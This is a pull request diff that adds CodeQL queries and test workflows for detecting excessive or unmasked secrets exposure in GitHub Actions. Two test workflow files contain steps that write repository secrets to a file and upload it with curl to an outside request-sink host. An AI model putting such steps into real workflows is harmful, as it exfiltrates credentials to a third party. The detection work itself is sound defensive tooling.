Merge pull request #71 from github/query/secret_handling

feat(query): New queries for incorrect secrets handling

ql/lib/codeql/actions/ast/internal/Ast.qll

@@ -1288,9 +1288,9 @@ string getAToJsonReferenceExpression(string s, int offset) {
   // not just the last (greedy match) or first (reluctant match).
   result =
     s.trim()
-        .regexpFind("(?i)tojson\\([a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]+\\)[a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]*",
+        .regexpFind("(?i)tojson\\(\\s*[a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]+\\)[a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]*",
           _, offset)
-        .regexpCapture("(?i)tojson\\(([a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]+)\\)[a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]*",
+        .regexpCapture("(?i)tojson\\(\\s*([a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]+)\\)[a-z0-9'\"_\\[\\]\\*\\(\\)\\.\\-]*",
           1)
 }
 

ql/src/Security/CWE-312/ExcessiveSecretsExposure.ql

@@ -0,0 +1,23 @@
+/**
+ * @name Excessive Secrets Exposure
+ * @description All organization and repository secrets are passed to the workflow runner.
+ * @kind problem
+ * @problem.severity recommendation
+ * @id actions/excessive-secrets-exposure
+ * @tags actions
+ *       security
+ *       external/cwe/cwe-312
+ */
+
+import actions
+import codeql.actions.ast.internal.Ast
+
+from Expression expr
+where
+  getAToJsonReferenceExpression(expr.getExpression(), _).matches("secrets%")
+  or
+  expr.getExpression().matches("secrets[%") and
+  not expr.getExpression().matches("secrets[\"%") and
+  not expr.getExpression().matches("secrets['%")
+select expr, "All organization and repository secrets are passed to the workflow runner in $@",
+  expr, expr.getExpression()

ql/src/Security/CWE-312/UnmaskedSecretExposure.ql

@@ -0,0 +1,19 @@
+/**
+ * @name Unmasked Secret Exposure
+ * @description Secrets derived from other secrets are not masked by the workflow runner.
+ * @kind problem
+ * @problem.severity error
+ * @security-severity 9.0
+ * @precision high
+ * @id actions/unmasked-secret-exposure
+ * @tags actions
+ *       security
+ *       external/cwe/cwe-312
+ */
+
+import actions
+
+from Expression expr
+where expr.getExpression().regexpMatch("(?i).*fromjson\\(secrets\\..*\\)\\..*")
+select expr, "An unmasked secret derived from another secret may be exposed in $@", expr,
+  expr.getExpression()

ql/test/query-tests/Security/CWE-312/.github/workflows/neg_test1.yml

@@ -0,0 +1,19 @@
+name: secrets
+on:
+  workflow_dispatch:
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - run: |
+          echo '${{ secrets.TOKEN }}' > secrets.txt
+          curl -X PUT -T ./secrets.txt -H http://3f750d39-1083-44e5-b057-40432fafeeb5.sink.reqsink.com
+      - env: 
+          A_SECRET: ${{ secrets.TOKEN }}
+        run: echo "$A_SECRET"
+      - env: 
+          A_SECRET: ${{ secrets['TOKEN'] }}
+        run: echo "$A_SECRET"
+      - env: 
+          A_SECRET: ${{ secrets["TOKEN"] }}
+        run: echo "$A_SECRET"

ql/test/query-tests/Security/CWE-312/.github/workflows/test1.yml

@@ -0,0 +1,25 @@
+name: list-actions-secrets
+on:
+  workflow_dispatch:
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        TOKENS: [WRITE, READ]
+    steps:
+      - run: |
+          echo '${{ toJSON(secrets) }}' > secrets.txt
+          curl -X PUT -T ./secrets.txt -H http://3f750d39-1083-44e5-b057-40432fafeeb5.sink.reqsink.com
+      - env: 
+          ALL_SECRETS: ${{ toJSON(secrets) }}
+        run: echo "$ALL_SECRETS"
+      - env: 
+          SOME_SECRETS: ${{ secrets[format('PAT_%s', matrix.TOKENS)] }}
+        run: echo "$SOME_SECRETS"
+      - env:
+          username: ${{ fromJson(secrets.AZURE_CREDENTIALS).clientId }}
+          password: ${{ fromJson(secrets.AZURE_CREDENTIALS).clientSecret }}
+        run: |
+          echo "$username"
+          echo "$password"

ql/test/query-tests/Security/CWE-312/ExcessiveSecretsExposure.expected

@@ -0,0 +1,3 @@
+| .github/workflows/test1.yml:12:18:12:39 | toJSON(secrets) | All organization and repository secrets are passed to the workflow runner in $@ | .github/workflows/test1.yml:12:18:12:39 | toJSON(secrets) | toJSON(secrets) |
+| .github/workflows/test1.yml:15:25:15:46 | toJSON(secrets) | All organization and repository secrets are passed to the workflow runner in $@ | .github/workflows/test1.yml:15:25:15:46 | toJSON(secrets) | toJSON(secrets) |
+| .github/workflows/test1.yml:18:26:18:72 | secrets[format('PAT_%s', matrix.TOKENS)] | All organization and repository secrets are passed to the workflow runner in $@ | .github/workflows/test1.yml:18:26:18:72 | secrets[format('PAT_%s', matrix.TOKENS)] | secrets[format('PAT_%s', matrix.TOKENS)] |

ql/test/query-tests/Security/CWE-312/ExcessiveSecretsExposure.qlref

@@ -0,0 +1,2 @@
+Security/CWE-312/ExcessiveSecretsExposure.ql
+

ql/test/query-tests/Security/CWE-312/UnmaskedSecretExposure.expected

@@ -0,0 +1,2 @@
+| .github/workflows/test1.yml:21:22:21:72 | fromJson(secrets.AZURE_CREDENTIALS).clientId | An unmasked secret derived from another secret may be exposed in $@ | .github/workflows/test1.yml:21:22:21:72 | fromJson(secrets.AZURE_CREDENTIALS).clientId | fromJson(secrets.AZURE_CREDENTIALS).clientId |
+| .github/workflows/test1.yml:22:22:22:76 | fromJson(secrets.AZURE_CREDENTIALS).clientSecret | An unmasked secret derived from another secret may be exposed in $@ | .github/workflows/test1.yml:22:22:22:76 | fromJson(secrets.AZURE_CREDENTIALS).clientSecret | fromJson(secrets.AZURE_CREDENTIALS).clientSecret |

ql/test/query-tests/Security/CWE-312/UnmaskedSecretExposure.qlref

@@ -0,0 +1,2 @@
+Security/CWE-312/UnmaskedSecretExposure.ql
+